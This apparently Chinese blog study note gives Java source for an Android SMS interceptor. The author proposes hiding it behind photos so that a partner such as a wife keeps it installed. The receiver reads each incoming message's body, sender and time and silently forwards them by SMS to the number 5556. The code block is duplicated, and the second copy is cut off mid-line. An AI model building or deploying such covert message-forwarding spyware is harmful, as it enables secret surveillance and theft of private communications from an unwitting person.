个人学习笔记之:android短信易做图器
首先我们要上一个图片伪装下,你可以多放几张你老婆的漂亮照片,不然哪天就把程序卸载了,那就悲剧了,嘎嘎,我这里简单起见拿来了一张美女的照片,我本身比较喜欢美女,哈哈
[java]
package com.example.smslistener;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class SMSListenerBroadcastReceive extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
SmsMessage [] messages = new SmsMessage[pdus.length];
for(int i=0; i<pdus.length; i++){
byte[]pdu = (byte[]) pdus[i];
//从pud中创建一个消息
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage msg: messages){
//获取短信的内容
String content = msg.getMessageBody();
//获取发送的人
String sender = msg.getOriginatingAddress();
//获取短信的时间
long timer = msg.getTimestampMillis();
//将毫秒数字转换成日期格式
Date date = new Date(timer);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-DD HH-MM-SS");
String time = sdf.format(date);
String smsContent = time + ": " + sender + ": " + content;
//调用发送短信的方法
sendSmsMessage("5556", smsContent);
}
}
/**
* 发送短信的方法
* @param phoneNumber
* @param content
*/
public void sendSmsMessage(String phoneNumber, String content){
SmsManager smsManager = SmsManager.getDefault();
//判断短信内容的长度,如果长度大于70就会出错,所以这步很重要
if(content.length() >= 70){
List<String> list = smsManager.divideMessage(content);
for(String mMsg: list){
smsManager.sendTextMessage(phoneNumber, null, mMsg, null, null);
}
}else{
smsManager.sendTextMessage(phoneNumber, null, content, null, null);
}
}
}
package com.example.smslistener;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class SMSListenerBroadcastReceive extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
SmsMessage [] messages = new SmsMessage[pdus.length];
for(int i=0; i<pdus.length; i++){
byte[]pdu = (byte[]) pdus[i];
//从pud中创建一个消息
messages[i] = SmsMessage.createFromPdu(pdu);
}
for(SmsMessage msg: messages){
//获取短信的内容
String content = msg.getMessageBody();
//获取发送的人
String sender = msg.getOriginatingAddress();
//获取短信的时间
long timer = msg.getTimestampMillis();
//将毫秒数字转换成日期格式
Date date = new Date(timer);
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-DD HH-MM-SS");
String time = sdf.format(date);
String smsContent = time + ": " + sender + ": " + content;
//调用发送短信的方法
sendSmsMessage("5556", smsContent);
}
}
/**
* 发送短信的方法
* @param phoneNumber
* @param content
*/
public void sendSmsMessage(String phoneNumber, String content){
SmsManager smsManager = SmsManager.getDefault();
//判断短信内容的长度,如果长度大于70就会出错,所以这步很重要
if(content.length() >= 70){
List<String> list = smsManager.divideMessage(content);
for(String mMsg: list){
smsManager.sendTextMessage(phoneNumber, null, mMsg, nul
补充:移动开发 , Android ,